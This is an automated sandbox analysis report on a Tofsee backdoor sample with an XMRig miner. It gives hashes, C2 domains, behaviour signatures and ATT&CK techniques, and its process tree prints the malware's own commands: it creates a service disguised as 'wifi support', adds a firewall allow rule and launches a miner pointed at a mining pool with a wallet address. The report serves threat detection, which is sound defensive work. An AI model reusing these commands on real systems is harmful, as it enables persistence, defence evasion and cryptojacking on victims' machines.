Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 02:37

General

  • Target

    be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe

  • Size

    185KB

  • MD5

    75c87170e12fc96072edcff9d79c2195

  • SHA1

    f840dd1d16e1b5929762126cc6e94eae3de48700

  • SHA256

    be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26

  • SHA512

    b964951a6a5b9e495f64e8855078cb763f19a7b733861bf32754efd20298ab4daeb6bcd6b0a3cffe0a68681b68912cf2e197a7e24741dbe4f957fd8ef3173177

  • SSDEEP

    3072:iIMtwRH0XXHQ8RjuuuMn5m0ibhaUhzyy0xUif4K2lFKRw+6ghuvmF:vMS8RjuuiJyyaUn+MB

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe
    "C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yrcaxalo\
      2⤵
        PID:2036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pmghemcj.exe" C:\Windows\SysWOW64\yrcaxalo\
        2⤵
          PID:2008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yrcaxalo binPath= "C:\Windows\SysWOW64\yrcaxalo\pmghemcj.exe /d\"C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yrcaxalo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yrcaxalo
          2⤵
          • Launches sc.exe
          PID:568
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:992
      • C:\Windows\SysWOW64\yrcaxalo\pmghemcj.exe
        C:\Windows\SysWOW64\yrcaxalo\pmghemcj.exe /d"C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1428
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:956

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pmghemcj.exe
        Filesize

        13.5MB

        MD5

        a23ca285afed6559c63e8becac31a387

        SHA1

        fc65edc1f22a961e632cce49d683073eb180ffaf

        SHA256

        3185d5cf849d7f61056ecf0a64dfbfcb27da47eecdd9117a3a049d1f1519ec23

        SHA512

        a8b1f5ee6e1aacd754aaf37faecbd7b124fd5b61a145dbed5ad00684f86b2afedb9b6380b6b7526db732d9947043296d662e26d3adf2884e6c51afa80e45c726

      • C:\Windows\SysWOW64\yrcaxalo\pmghemcj.exe
        Filesize

        13.5MB

        MD5

        a23ca285afed6559c63e8becac31a387

        SHA1

        fc65edc1f22a961e632cce49d683073eb180ffaf

        SHA256

        3185d5cf849d7f61056ecf0a64dfbfcb27da47eecdd9117a3a049d1f1519ec23

        SHA512

        a8b1f5ee6e1aacd754aaf37faecbd7b124fd5b61a145dbed5ad00684f86b2afedb9b6380b6b7526db732d9947043296d662e26d3adf2884e6c51afa80e45c726

      • memory/568-63-0x0000000000000000-mapping.dmp
      • memory/880-77-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/880-54-0x0000000076871000-0x0000000076873000-memory.dmp
        Filesize

        8KB

      • memory/880-76-0x00000000002ED000-0x00000000002FE000-memory.dmp
        Filesize

        68KB

      • memory/880-56-0x00000000002ED000-0x00000000002FE000-memory.dmp
        Filesize

        68KB

      • memory/880-58-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/880-57-0x00000000001B0000-0x00000000001C3000-memory.dmp
        Filesize

        76KB

      • memory/956-99-0x0000000000120000-0x0000000000211000-memory.dmp
        Filesize

        964KB

      • memory/956-106-0x00000000001B259C-mapping.dmp
      • memory/956-101-0x0000000000120000-0x0000000000211000-memory.dmp
        Filesize

        964KB

      • memory/992-75-0x0000000000000000-mapping.dmp
      • memory/1212-62-0x0000000000000000-mapping.dmp
      • memory/1428-69-0x00000000000C9A6B-mapping.dmp
      • memory/1428-96-0x0000000000260000-0x0000000000267000-memory.dmp
        Filesize

        28KB

      • memory/1428-68-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1428-66-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1428-90-0x0000000000190000-0x0000000000195000-memory.dmp
        Filesize

        20KB

      • memory/1428-79-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1428-80-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1428-81-0x0000000001890000-0x0000000001A9F000-memory.dmp
        Filesize

        2.1MB

      • memory/1428-84-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/1428-87-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1428-93-0x0000000005960000-0x0000000005D6B000-memory.dmp
        Filesize

        4.0MB

      • memory/1492-71-0x000000000026D000-0x000000000027E000-memory.dmp
        Filesize

        68KB

      • memory/1492-73-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/1716-61-0x0000000000000000-mapping.dmp
      • memory/2008-59-0x0000000000000000-mapping.dmp
      • memory/2036-55-0x0000000000000000-mapping.dmp